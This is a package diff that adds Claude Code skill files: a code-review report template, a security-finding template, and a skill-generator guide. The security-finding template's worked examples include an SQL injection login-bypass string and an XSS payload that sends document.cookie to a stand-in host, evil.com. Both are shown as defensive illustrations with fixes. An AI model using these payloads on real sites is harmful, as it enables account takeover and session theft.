claude-code-workflow 6.3.18 → 6.3.19

package/.claude/skills/code-reviewer/templates/report-template.md

@@ -0,0 +1,316 @@
+# Report Template
+
+## Main Report Structure (REPORT.md)
+
+```markdown
+# Code Review Report
+
+**Generated**: {timestamp}
+**Scope**: {scope}
+**Files Reviewed**: {total_files}
+**Total Findings**: {total_findings}
+
+---
+
+## 📊 Executive Summary
+
+### Overall Assessment
+
+{Brief 2-3 paragraph assessment of code health}
+
+### Risk Level: {LOW|MEDIUM|HIGH|CRITICAL}
+
+{Risk assessment based on findings severity and count}
+
+### Key Statistics
+
+| Metric | Value | Status |
+|--------|-------|--------|
+| Total Files | {count} | - |
+| Files with Issues | {count} | {percentage}% |
+| Critical Findings | {count} | {icon} |
+| High Findings | {count} | {icon} |
+| Medium Findings | {count} | {icon} |
+| Low Findings | {count} | {icon} |
+
+### Category Breakdown
+
+| Category | Count | Percentage |
+|----------|-------|------------|
+| Security | {count} | {percentage}% |
+| Code Quality | {count} | {percentage}% |
+| Performance | {count} | {percentage}% |
+| Maintainability | {count} | {percentage}% |
+
+---
+
+## 🎯 Quality Scores
+
+### Security Score: {score}/100
+{Assessment and key issues}
+
+### Code Quality Score: {score}/100
+{Assessment and key issues}
+
+### Performance Score: {score}/100
+{Assessment and key issues}
+
+### Maintainability Score: {score}/100
+{Assessment and key issues}
+
+### Overall Score: {score}/100
+
+**Grade**: {A|B|C|D|F}
+
+---
+
+## 🔴 Critical Findings (Requires Immediate Action)
+
+{List all critical findings using security-finding.md template}
+
+---
+
+## 🟠 High Priority Findings
+
+{List all high findings}
+
+---
+
+## 🟡 Medium Priority Findings
+
+{List all medium findings}
+
+---
+
+## 🟢 Low Priority Findings
+
+{List all low findings}
+
+---
+
+## 📋 Action Plan
+
+### Immediate (Within 24 hours)
+1. {Critical issue 1}
+2. {Critical issue 2}
+3. {Critical issue 3}
+
+### Short-term (Within 1 week)
+1. {High priority issue 1}
+2. {High priority issue 2}
+...
+
+### Medium-term (Within 1 month)
+1. {Medium priority issue 1}
+2. {Medium priority issue 2}
+...
+
+### Long-term (Within 3 months)
+1. {Low priority issue 1}
+2. {Improvement initiative 1}
+...
+
+---
+
+## 📊 Metrics Dashboard
+
+### Code Health Trends
+
+{If historical data available, show trends}
+
+### File Hotspots
+
+Top files with most issues:
+1. `{file-path}` - {count} issues ({severity breakdown})
+2. `{file-path}` - {count} issues
+...
+
+### Technology Breakdown
+
+Issues by language/framework:
+- TypeScript: {count} issues
+- Python: {count} issues
+...
+
+---
+
+## ✅ Compliance Status
+
+### PCI DSS
+- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
+- **Affecting Findings**: {list}
+
+### HIPAA
+- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
+- **Affecting Findings**: {list}
+
+### GDPR
+- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
+- **Affecting Findings**: {list}
+
+---
+
+## 📚 Appendix
+
+### A. Review Configuration
+
+\`\`\`json
+{review-config}
+\`\`\`
+
+### B. Tools and Versions
+
+- Code Reviewer Skill: v1.0.0
+- Security Rules: OWASP Top 10 2021, CWE Top 25
+- Languages Analyzed: {list}
+
+### C. References
+
+- [OWASP Top 10 2021](https://owasp.org/Top10/)
+- [CWE Top 25](https://cwe.mitre.org/top25/)
+- {additional references}
+
+### D. Full Findings Index
+
+{Links to detailed finding JSONs}
+```
+
+---
+
+## Fix Checklist Template (FIX-CHECKLIST.md)
+
+```markdown
+# Code Review Fix Checklist
+
+**Generated**: {timestamp}
+**Total Items**: {count}
+
+---
+
+## 🔴 Critical Issues (Fix Immediately)
+
+- [ ] **[SEC-001]** SQL Injection in `src/auth/user-service.ts:145`
+      - Effort: 1 hour
+      - Priority: P0
+      - Assignee: ___________
+
+- [ ] **[SEC-002]** Hardcoded JWT Secret in `src/auth/jwt.ts:23`
+      - Effort: 30 minutes
+      - Priority: P0
+      - Assignee: ___________
+
+---
+
+## 🟠 High Priority Issues (Fix This Week)
+
+- [ ] **[SEC-003]** Missing Authorization in `src/api/admin.ts:34`
+      - Effort: 2 hours
+      - Priority: P1
+      - Assignee: ___________
+
+- [ ] **[BP-001]** N+1 Query in `src/api/orders.ts:45`
+      - Effort: 1 hour
+      - Priority: P1
+      - Assignee: ___________
+
+---
+
+## 🟡 Medium Priority Issues (Fix This Month)
+
+{List medium priority items}
+
+---
+
+## 🟢 Low Priority Issues (Fix Next Release)
+
+{List low priority items}
+
+---
+
+## Progress Tracking
+
+**Overall Progress**: {completed}/{total} ({percentage}%)
+
+- Critical: {completed}/{total}
+- High: {completed}/{total}
+- Medium: {completed}/{total}
+- Low: {completed}/{total}
+
+**Estimated Total Effort**: {hours} hours
+**Estimated Completion**: {date}
+```
+
+---
+
+## Summary JSON Template (summary.json)
+
+```json
+{
+  "report_date": "2024-01-15T12:00:00Z",
+  "scope": "src/**/*",
+  "statistics": {
+    "total_files": 247,
+    "files_with_issues": 89,
+    "total_findings": 69,
+    "by_severity": {
+      "critical": 3,
+      "high": 13,
+      "medium": 30,
+      "low": 23
+    },
+    "by_category": {
+      "security": 24,
+      "code_quality": 18,
+      "performance": 12,
+      "maintainability": 15
+    }
+  },
+  "scores": {
+    "security": 68,
+    "code_quality": 75,
+    "performance": 82,
+    "maintainability": 70,
+    "overall": 74
+  },
+  "grade": "C",
+  "risk_level": "MEDIUM",
+  "action_required": true,
+  "compliance": {
+    "pci_dss": {
+      "status": "NON_COMPLIANT",
+      "affecting_findings": ["SEC-001", "SEC-002", "SEC-008", "SEC-011"]
+    },
+    "hipaa": {
+      "status": "NON_COMPLIANT",
+      "affecting_findings": ["SEC-005", "SEC-009"]
+    },
+    "gdpr": {
+      "status": "PARTIAL",
+      "affecting_findings": ["SEC-002", "SEC-005", "SEC-007"]
+    }
+  },
+  "top_issues": [
+    {
+      "id": "SEC-001",
+      "type": "sql-injection",
+      "severity": "critical",
+      "file": "src/auth/user-service.ts",
+      "line": 145
+    }
+  ],
+  "hotspots": [
+    {
+      "file": "src/auth/user-service.ts",
+      "issues": 5,
+      "severity_breakdown": { "critical": 1, "high": 2, "medium": 2 }
+    }
+  ],
+  "effort_estimate": {
+    "critical": 4.5,
+    "high": 18,
+    "medium": 35,
+    "low": 12,
+    "total_hours": 69.5
+  }
+}
+```

package/.claude/skills/code-reviewer/templates/security-finding.md

@@ -0,0 +1,161 @@
+# Security Finding Template
+
+Use this template for documenting security vulnerabilities.
+
+## Finding Structure
+
+```json
+{
+  "id": "SEC-{number}",
+  "type": "{vulnerability-type}",
+  "severity": "{critical|high|medium|low}",
+  "file": "{file-path}",
+  "line": {line-number},
+  "column": {column-number},
+  "code": "{vulnerable-code-snippet}",
+  "message": "{clear-description-of-issue}",
+  "cwe": "CWE-{number}",
+  "owasp": "A{number}:2021 - {category}",
+  "recommendation": {
+    "description": "{how-to-fix}",
+    "fix_example": "{corrected-code}"
+  },
+  "references": [
+    "https://...",
+    "https://..."
+  ]
+}
+```
+
+## Markdown Template
+
+```markdown
+### 🔴 [SEC-{number}] {Vulnerability Title}
+
+**File**: `{file-path}:{line}`
+**CWE**: CWE-{number} | **OWASP**: A{number}:2021 - {category}
+
+**Vulnerable Code**:
+\`\`\`{language}
+{vulnerable-code-snippet}
+\`\`\`
+
+**Issue**: {Detailed explanation of the vulnerability and potential impact}
+
+**Attack Example** (if applicable):
+\`\`\`
+{example-attack-payload}
+Result: {what-happens}
+Effect: {security-impact}
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`{language}
+{corrected-code-with-comments}
+\`\`\`
+
+**References**:
+- [{reference-title}]({url})
+- [{reference-title}]({url})
+
+---
+```
+
+## Severity Icon Mapping
+
+- Critical: 🔴
+- High: 🟠
+- Medium: 🟡
+- Low: 🟢
+
+## Example: SQL Injection Finding
+
+```markdown
+### 🔴 [SEC-001] SQL Injection in User Authentication
+
+**File**: `src/auth/user-service.ts:145`
+**CWE**: CWE-89 | **OWASP**: A03:2021 - Injection
+
+**Vulnerable Code**:
+\`\`\`typescript
+const query = \`SELECT * FROM users WHERE username = '\${username}'\`;
+const user = await db.execute(query);
+\`\`\`
+
+**Issue**: User input (`username`) is directly concatenated into SQL query, allowing attackers to inject malicious SQL commands and bypass authentication.
+
+**Attack Example**:
+\`\`\`
+username: ' OR '1'='1' --
+Result: SELECT * FROM users WHERE username = '' OR '1'='1' --'
+Effect: Bypasses authentication, returns all users
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`typescript
+// Use parameterized queries
+const query = 'SELECT * FROM users WHERE username = ?';
+const user = await db.execute(query, [username]);
+
+// Or use ORM
+const user = await User.findOne({ where: { username } });
+\`\`\`
+
+**References**:
+- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
+- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)
+
+---
+```
+
+## Example: XSS Finding
+
+```markdown
+### 🟠 [SEC-002] Cross-Site Scripting (XSS) in Comment Rendering
+
+**File**: `src/components/CommentList.tsx:89`
+**CWE**: CWE-79 | **OWASP**: A03:2021 - Injection
+
+**Vulnerable Code**:
+\`\`\`tsx
+<div dangerouslySetInnerHTML={{ __html: comment.body }} />
+\`\`\`
+
+**Issue**: User-generated content rendered without sanitization, allowing script injection.
+
+**Attack Example**:
+\`\`\`
+comment.body: "<script>fetch('evil.com/steal?cookie='+document.cookie)</script>"
+Effect: Steals user session cookies
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`tsx
+import DOMPurify from 'dompurify';
+
+// Sanitize HTML before rendering
+<div dangerouslySetInnerHTML={{ 
+  __html: DOMPurify.sanitize(comment.body) 
+}} />
+
+// Or use text content (if HTML not needed)
+<div>{comment.body}</div>
+\`\`\`
+
+**References**:
+- [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
+- [CWE-79](https://cwe.mitre.org/data/definitions/79.html)
+
+---
+```
+
+## Compliance Mapping Template
+
+When finding affects compliance:
+
+```markdown
+**Compliance Impact**:
+- **PCI DSS**: Requirement 6.5.1 (Injection flaws)
+- **HIPAA**: Technical Safeguards - Access Control
+- **GDPR**: Article 32 (Security of processing)
+```

package/.claude/skills/skill-generator/SKILL.md

@@ -0,0 +1,187 @@
+---
+name: skill-generator
+description: Meta-skill for creating new Claude Code skills with configurable execution modes. Supports sequential (fixed order) and autonomous (stateless) phase patterns. Use for skill scaffolding, skill creation, or building new workflows. Triggers on "create skill", "new skill", "skill generator", "生成技能", "创建技能".
+allowed-tools: Task, AskUserQuestion, Read, Bash, Glob, Grep, Write
+---
+
+# Skill Generator
+
+Meta-skill for creating new Claude Code skills with configurable execution modes.
+
+## Architecture Overview
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│  Skill Generator Architecture                                    │
+├─────────────────────────────────────────────────────────────────┤
+│                                                                  │
+│  Phase 1: Requirements    → skill-config.json                   │
+│           Discovery           (name, type, mode, agents)        │
+│           ↓                                                      │
+│  Phase 2: Structure       → 目录结构 + 核心文件骨架              │
+│           Generation                                             │
+│           ↓                                                      │
+│  Phase 3: Phase           → phases/*.md (根据 mode 生成)         │
+│           Generation          Sequential | Autonomous            │
+│           ↓                                                      │
+│  Phase 4: Specs &         → specs/*.md + templates/*.md         │
+│           Templates                                              │
+│           ↓                                                      │
+│  Phase 5: Validation      → 验证完整性 + 生成使用说明            │
+│           & Documentation                                        │
+│                                                                  │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+## Execution Modes
+
+### Mode 1: Sequential (固定顺序)
+
+传统线性执行模式，阶段按数字前缀顺序执行。
+
+```
+Phase 01 → Phase 02 → Phase 03 → ... → Phase N
+```
+
+**适用场景**:
+- 流水线式任务（收集 → 分析 → 生成）
+- 阶段间有强依赖关系
+- 输出结构固定
+
+**示例**: `software-manual`, `copyright-docs`
+
+### Mode 2: Autonomous (无状态自主选择)
+
+智能路由模式，根据上下文动态选择执行路径。
+
+```
+┌─────────────────────────────────────────┐
+│           Orchestrator Agent            │
+│  (读取状态 → 选择 Phase → 执行 → 更新)  │
+└───────────────┬─────────────────────────┘
+                │
+    ┌───────────┼───────────┐
+    ↓           ↓           ↓
+┌───────┐  ┌───────┐  ┌───────┐
+│Phase A│  │Phase B│  │Phase C│
+│(独立) │  │(独立) │  │(独立) │
+└───────┘  └───────┘  └───────┘
+```
+
+**适用场景**:
+- 交互式任务（对话、问答）
+- 阶段间无强依赖
+- 需要动态响应用户意图
+
+**示例**: `issue-manage`, `workflow-debug`
+
+## Key Design Principles
+
+1. **模式感知**: 根据任务特性自动推荐执行模式
+2. **骨架生成**: 生成完整目录结构和文件骨架
+3. **规范遵循**: 严格遵循 `_shared/SKILL-DESIGN-SPEC.md`
+4. **可扩展性**: 生成的 Skill 易于扩展和修改
+
+## Execution Flow
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│  Phase 1: Requirements Discovery                                 │
+│  → AskUserQuestion: Skill 名称、目标、执行模式                   │
+│  → Output: skill-config.json                                    │
+├─────────────────────────────────────────────────────────────────┤
+│  Phase 2: Structure Generation                                   │
+│  → 创建目录结构: phases/, specs/, templates/, scripts/          │
+│  → 生成 SKILL.md 入口文件                                        │
+│  → Output: 完整目录结构                                          │
+├─────────────────────────────────────────────────────────────────┤
+│  Phase 3: Phase Generation                                       │
+│  → Sequential: 生成 01-xx.md, 02-xx.md, ...                     │
+│  → Autonomous: 生成 orchestrator.md + actions/*.md              │
+│  → Output: phases/*.md                                          │
+├─────────────────────────────────────────────────────────────────┤
+│  Phase 4: Specs & Templates                                      │
+│  → 生成领域规范: specs/{domain}-requirements.md                  │
+│  → 生成质量标准: specs/quality-standards.md                      │
+│  → 生成模板: templates/agent-base.md                             │
+│  → Output: specs/*.md, templates/*.md                           │
+├─────────────────────────────────────────────────────────────────┤
+│  Phase 5: Validation & Documentation                             │
+│  → 验证文件完整性                                                 │
+│  → 生成 README.md 使用说明                                       │
+│  → Output: 验证报告 + README.md                                  │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+## Directory Setup
+
+```javascript
+const skillName = config.skill_name;
+const skillDir = `.claude/skills/${skillName}`;
+
+// 创建目录结构
+Bash(`mkdir -p "${skillDir}/phases"`);
+Bash(`mkdir -p "${skillDir}/specs"`);
+Bash(`mkdir -p "${skillDir}/templates"`);
+
+// Autonomous 模式额外目录
+if (config.execution_mode === 'autonomous') {
+  Bash(`mkdir -p "${skillDir}/phases/actions"`);
+}
+```
+
+## Output Structure
+
+### Sequential Mode
+
+```
+.claude/skills/{skill-name}/
+├── SKILL.md
+├── phases/
+│   ├── 01-{step-one}.md
+│   ├── 02-{step-two}.md
+│   └── 03-{step-three}.md
+├── specs/
+│   ├── {domain}-requirements.md
+│   └── quality-standards.md
+└── templates/
+    └── agent-base.md
+```
+
+### Autonomous Mode
+
+```
+.claude/skills/{skill-name}/
+├── SKILL.md
+├── phases/
+│   ├── orchestrator.md          # 编排器：读取状态 → 选择动作
+│   ├── state-schema.md          # 状态结构定义
+│   └── actions/                 # 独立动作（无顺序）
+│       ├── action-{a}.md
+│       ├── action-{b}.md
+│       └── action-{c}.md
+├── specs/
+│   ├── {domain}-requirements.md
+│   ├── action-catalog.md        # 动作目录（描述、前置条件、效果）
+│   └── quality-standards.md
+└── templates/
+    ├── orchestrator-base.md     # 编排器模板
+    └── action-base.md           # 动作模板
+```
+
+## Reference Documents
+
+| Document | Purpose |
+|----------|---------|
+| [phases/01-requirements-discovery.md](phases/01-requirements-discovery.md) | 收集 Skill 需求 |
+| [phases/02-structure-generation.md](phases/02-structure-generation.md) | 生成目录结构 |
+| [phases/03-phase-generation.md](phases/03-phase-generation.md) | 生成 Phase 文件 |
+| [phases/04-specs-templates.md](phases/04-specs-templates.md) | 生成规范和模板 |
+| [phases/05-validation.md](phases/05-validation.md) | 验证和文档 |
+| [specs/execution-modes.md](specs/execution-modes.md) | 执行模式规范 |
+| [specs/skill-requirements.md](specs/skill-requirements.md) | Skill 需求规范 |
+| [templates/skill-md.md](templates/skill-md.md) | SKILL.md 模板 |
+| [templates/sequential-phase.md](templates/sequential-phase.md) | Sequential Phase 模板 |
+| [templates/autonomous-orchestrator.md](templates/autonomous-orchestrator.md) | Autonomous 编排器模板 |
+| [templates/autonomous-action.md](templates/autonomous-action.md) | Autonomous Action 模板 |
+| [../_shared/SKILL-DESIGN-SPEC.md](../_shared/SKILL-DESIGN-SPEC.md) | 通用设计规范 |